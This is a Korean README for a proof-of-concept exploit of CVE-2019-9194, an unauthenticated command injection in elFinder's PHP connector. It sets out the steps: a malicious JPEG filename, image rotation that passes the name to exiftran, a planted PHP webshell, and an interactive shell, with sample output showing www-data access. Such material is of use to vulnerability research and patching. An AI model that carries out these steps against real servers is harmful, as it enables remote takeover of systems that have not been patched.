CVE-2019-9194 — elFinder 명령 삽입 (PoC)

elFinder <= 2.1.47의 PHP 커넥터 구성 요소를 통한 명령 삽입 취약점입니다. 인증되지 않은 원격 코드 실행을 웹 서버 사용자 권한으로 허용합니다.

작동 방식

• 유효한 JPEG 파일에 셸 명령이 포함된 악성 파일명을 업로드합니다.
• 이미지 회전을 요청하여 취약점을 트리거합니다. 이 과정에서 파일명이 정제 없이 exiftran에 전달됩니다.
• 삽입된 명령이 PHP 웹쉘(SecSignal.php)을 서버에 작성합니다.
• 웹쉘에 연결하여 대화형 셸에 진입합니다.

요구 사항

• Python 3
• requests 라이브러리 (pip install requests)
• 대상 시스템에 exiftran이 설치되어 있고 elFinder PHP 커넥터(connector.minimal.php)가 활성화되어 있어야 합니다.

사용법

python3 exploit.py http://TARGET

예제:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

참고 자료

• CVE-2019-9194
• EDB-46481
• 취약점 분석글 — SecSignal
• elFinder 2.1.48 릴리스 (수정)

크레딧

• 발견: Thomas Chauchefoin
• Original exploit: @q3rv0
• Python 3 포팅 및 Metasploit 스타일 개선: Esteban Zárate